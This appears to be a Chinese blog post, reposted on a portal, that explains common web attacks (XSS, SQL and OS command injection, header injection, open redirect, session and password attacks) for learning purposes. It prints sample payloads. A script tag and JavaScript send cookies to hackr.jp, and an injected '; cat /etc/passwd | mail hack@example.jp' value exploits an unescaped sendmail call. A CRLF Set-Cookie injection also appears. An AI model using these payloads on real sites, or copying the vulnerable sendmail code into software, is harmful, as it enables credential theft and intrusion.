Web的攻击技术

   日期:2020-05-06     浏览:103    评论:0    
核心提示:序言:互联网上的攻击大都将 Web 站点作为目标。本章讲解具体有哪些攻击 Web 站点的手段,以及攻数据库

序言:互联网上的攻击大都将 Web 站点作为目标。本章讲解具体有哪些攻击 Web 站点的手段,以及攻击会造成怎样的影响

 

一、针对 Web 的攻击技术

简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会 成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标。目前,来自互联网的攻击大多是冲着 Web 站点来的,它们大多把Web 应用作为攻击目标。本章主要针对 Web 应用的攻击技术进行讲解

从整体上看,HTTP 就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势

 

二、因输出值转义不完全引发的安全漏洞

  实施 Web 应用的安全对策可大致分为以下两部分。

  1. 客户端的验证:不适合作为防范对策,只是为了今早地识别输入错误,提高UI体验的作用。
  2. Web应用程序的验证
    • 输入值验证:按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证检查是否符合系统业务逻辑的数值或检查字符编码等预防对策。
    • 输出值转义:当输出值转义不完全时,会因触发攻击者传入的代码,而给输出对象带来损害。

攻击方法:

1、跨站脚本攻击:

通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。动态创建的 HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击

  • 在表单中输入HTML标签
  • 在表单中输入执行脚本把客户表单中账号密码发送到自己的站点上
  • 在表单中执行自己定义好的脚本获取用户Cookie

充分熟知此处漏洞特点的攻击者,于是就创建了下面这段嵌入恶意代码的 URL 。并隐藏植入事先准备好的欺诈邮件中或 Web 面内,诱使用户去点击该 URL

浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的 脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后, 就会直接发送到攻击者的网站(也就是 hackr.jp ),导致个人登录信息被窃取

 

2、对用户 Cookie 的窃取攻击

除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用JavaScript 编写的代码。
var content = escape(document.cookie); 
document.write("<img src=http://hackr.jp/?"); 
document.write(content); 
document.write(">");
在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 息。然后这些信息会发送至攻击者的 Web 网站( http://hackr.jp/ )记录在他的登录日志中。结果,攻击者就这样窃取到用户Cookie 信息了。   3、SQL 注入攻击 SQL 注入( SQLInjection )是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露.Web 应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用 SQL 语句连接数据库进行特定的操作。如果在调用 SQL 语句的方式上存在疏漏,就有可能执行被恶意注入 非法 SQL 语句。

4、OS 命令注入攻击

OS 命令注入攻击( OS Command Injection )是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。可以从 Web 应用中通过 Shell 来调用操作系统命令。倘若调用 Shell时存在疏漏,就可以执行插入的非法 OS 命令。OS 命令注入攻击可以向 Shell 发送命令,让 Windows Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安装着的各种程序。   OS 注入攻击案例 : 下面以咨询表单的发送功能为例,讲解 OS 注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去 下面摘选处理该表单内容的一部分核心代码。
my $adr = $q->param('mailaddress'); 
open(MAIL, "| /usr/sbin/sendmail $adr"); 
print MAIL "From: info@example.com\n";
程序中的 open 函数会调用 sendmail 命令发送邮件,而指定的邮件发送地址即 $adr 的值。 攻击者将下面的值指定作为邮件地址。
; cat /etc/passwd | mail hack@example.jp
程序接收该值,构成以下的命令组合。
/usr/sbin/sendmail ; 
cat /etc/passwd | mail hack@example.jp
攻击者的输入值中含有分号( ; )。这个符号在 OS 命令中,会被解析为分隔多个执行命令的标记。可见,sendmail 命令执行被分隔后,接下去就会执行 cat /etc/passwd | mail hack@example.jp 这样的命令了。结果,含有Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了hack@example.jp。   5、HTTP 首部注入攻击 HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。 向首部主体内添加内容的攻击称为 HTTP 响应截断攻击( HTTP Response Splitting Attack)。 如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location Set-Cookie
Location: http://www.example.com/a.cgi?q=12345 Set-Cookie: 
UID=12345 *12345就是插入值
HTTP 首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。   HTTP 首部注入攻击案例 :      下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解 HTTP 首部注入攻击。该功能为每个类别都设定了一个类别 ID 值,一旦选定某类别,就会将该 ID 值反映在响应内的 Location 首部字段内,形如 Location: http://example.com/?cat=101。令浏览器发生重定向跳转。

攻击者以下面的内容替代之前的类别 ID 后发送请求。
101%0D%0ASet-Cookie:+SID=123456789
其中, %0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强 制将攻击者网站( http://hackr.jp/ 的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。 发送该请求之后,假设结果返回以下响应。
Location: http://example.com/?cat=101(%0D%0A :换行符) 
Set-Cookie: SID=123456789
此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意 的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会 ID )攻击组合,攻击者可伪装成用户。 攻击者输入的 %0D%0A ,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段。这样一来,攻击者可在响应中插入任意的首部字段。   HTTP响应截断攻击:加入两个换行符,重写主体内容。   6、目录遍历攻击

 

 

三、因设置或设计上的缺陷引发的安全漏洞

  • 强制浏览:浏览器输入框中猜测uri,进行强制浏览。
    • 泄露顾客的客人信息
    • 泄露原本需要有权限用户才可查阅的内容
    • 泄露未连接到外界的文件
    • 例子:对日记没有权限查看,但是如果知道图片uri,没有权限也可以查看到图片。
  • 不正确的错误信息处理:
    • 登录信息错误给得太详细,攻击者可以尝试获取一些账号是否被注册 —— 保留到只给出 认证错误
    • 内部系统处理信息抛出给用户看见,攻击者根据系统信息获取到一些系统关系。
      • PHP脚本错误
      • 数据库或者中间件错误
      • Web服务器错误
  • 开放重定向:将重定向设置为攻击者网站
http://example.com/?redirect=http://www.tricorder.jp
攻击者把重定向指定的参数改写成已设好陷阱的 Web 网站对应的连接,如下所示。
http://example.com/?redirect=http://hackr.jp
用户看到 URL 后原以为访问 example.com ,不料实际上被诱导至hackr.jp 这个指定的重定向目标。可信度高的 Web 网站如果放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板  

 

四、因会话管理疏忽引发的安全漏洞

1、会话劫持:攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。

2、会话固定攻击:对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。

3、跨站点请求伪造:跨站点请求伪造(Cross-Site Request ForgeriesCSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击

 

五、其他安全漏洞

1、密码破解

  • 通过网络的密码试错
    • 穷举法:把可能的密码集合一个一个尝试,总有正确的,但是候选密码很庞大时,解密需要数年或者千年。
    • 字典攻击:考虑到把生日日期数值化,比如将0101-1231保存成字典进行尝试。花费时间短,不一定成功。

2、对已加密密码破解

侵入系统,获得加密或散列处理的密码数据情况,一般不会直接以明文的方式保存密码,通过散列函数或者加salt的手段对要保存的密码本身加密。

  • 通过穷举法字典攻击进行类推:尝试调用相同的散列函数加密候选码与目标散列值匹配。
  • 彩虹表:由明文密码及与之对应的散列值构成的一张数据库表,可在穷举法字典攻击等实际破解过程中缩短耗时。
  • 拿到密钥:使用共享密码加密式对密码数据进行加密处理,如果能通过某手段拿到加密使用的密钥也就可以对密码数据解密了。
  • 加密算法漏洞:难找漏洞,难以成功。

 3、Dos(Denial of Service attack)攻击:让运行服务器呈停止状态的攻击

  1. 集中理由访问请求造成资源过载。
  2. 攻击安全漏洞使服务停止。

 

4、后门程序:指开发时设置隐藏入口,可不按正常步骤使用受限功能。

  • 开发阶段debug调用的后门程序
  • 开发者为自身利益植入的
  • 攻击者通过某种方法设置的
 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服